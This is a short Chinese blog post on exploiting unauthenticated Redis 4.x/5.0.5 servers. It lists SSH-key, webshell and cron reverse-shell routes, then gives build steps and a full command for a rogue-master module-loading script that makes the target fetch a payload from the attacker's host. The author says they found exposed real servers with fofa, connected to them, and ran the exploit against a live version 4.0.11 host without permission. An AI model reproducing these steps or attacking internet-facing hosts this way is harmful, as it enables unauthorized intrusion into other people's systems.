Redis 4.x/5.0.5以前未授权访问rce
关于redis未授权访问漏洞,网上已经有一大堆的利用方式了,
默认端口:6379,未授权密码一般为空,也有可能存在弱口令
未授权访问利用方式基本分为三种~~
第一种:ssh免密登录
- 需要开启ssh服务
- 需要/root/.ssh或其他.ssh能写入
第二种:直接写入webshell
- 开启web服务
- 需要知道网站绝对路径
- 具有对文件操作的权限
第三种:定时任务反弹shell
- 需要root权限
- 知道定时计划的路径,如/var/spool/cron
用fofa搜了一波,其实是存在很多redis未授权的:
直接使用redis-cli -h x.x.x.x即可连接进入,输入info:
真实环境,连接看看就行,,,,,
回到正题:Redis 4.x/5.0.5以前未授权访问rce漏洞
原理:Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
利用脚本:https://github.com/vulhub/redis-rogue-getshell
使用之前需要编译一下生成exp.so:
cd RedisModulesSDK/
make
之后便可执行脚本:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "whoami"
这里利用fofa找到一个版本相符合的(版本符合也不一定能执行命令),版本4.0.11:
运行脚本,可以得到命令执行的结果:
真实环境,点到为止~~
有啥描述得不对的地方,欢迎各位大佬指出~~